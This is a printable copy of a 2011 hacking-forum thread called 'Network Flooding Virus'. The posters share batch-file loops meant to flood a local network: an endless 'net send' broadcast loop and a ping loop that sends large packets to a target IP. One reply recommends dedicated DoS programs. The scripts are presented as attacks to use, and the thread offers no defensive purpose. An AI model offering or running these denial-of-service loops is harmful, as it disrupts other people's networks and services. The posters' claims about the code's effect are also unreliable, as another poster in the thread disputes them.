Network Flooding Virus - Printable Version

Network Flooding Virus - Printable Version

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Network Flooding Virus - benvert - 08-21-2011

Today I'm going to show you on flodding the network. This is demonstrated using Dos/Batch programming.
The below code will temporarily flood network once the user turns off his comp everything will be back to normal.

Code:
:CRASH

net send * WORKGROUP ENABLED

net send * WORKGROUP ENABLED

GOTO CRASH

RE: Network Flooding Virus - 1llusion - 08-22-2011

Nice share, but, why do you have 2 identical commands there? 1 would be enough to do the job =)

RE: Network Flooding Virus - benvert - 08-22-2011

because Of flooding And U need to steal the maximum BandWish

RE: Network Flooding Virus - 1llusion - 08-22-2011

(08-22-2011, 01:55 AM)benvert Wrote: because Of flooding And U need to steal the maximum BandWish

Yeh right,

so, whats the difference between yours:

Code:
:CRASH

net send * WORKGROUP ENABLED

net send * WORKGROUP ENABLED

GOTO CRASH

And my:

Code:
:start
net send * WORKGROUP ENABLED
goto start

?

To be honest, my code will run a little tiny bit faster thanks to the fact, that I have less code there. It will do the completely same thing.

Also, I don't really believe this could really DoS the whole network

I would rather do:

Code:
:start
ping -s 9999 -i 0.2 [IP]
goto start

where: -s is packet size -i is interval (200ms in this case) and [IP] is targets IP (ofc LAN IP)
This might not work under Windows since I'm on linux, but the command "ping" is same.

However, you still might not be able to fully DoS the target, I recommend using a program specially made for DoS

RE: Network Flooding Virus - chipp - 08-22-2011

i guess it should be

Code:
ping -l 9999 <ip address>

if you mean by interval is TTL then it is useless to defined it, btw here's the references:

Quote:Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]

[-r count] [-s count] [[-j host-list] | [-k host-list]]

[-w timeout] target_name

Options:

-t Ping the specified host until stopped.

To see statistics and continue - type Control-Break;

To stop - type Control-C.

-a Resolve addresses to hostnames.

-n count Number of echo requests to send.

-l size Send buffer size.

-f Set Don't Fragment flag in packet.

-i TTL Time To Live.

-v TOS Type Of Service.

-r count Record route for count hops.

-s count Timestamp for count hops.

-j host-list Loose source route along host-list.

-k host-list Strict source route along host-list.

-w timeout Timeout in milliseconds to wait for each reply.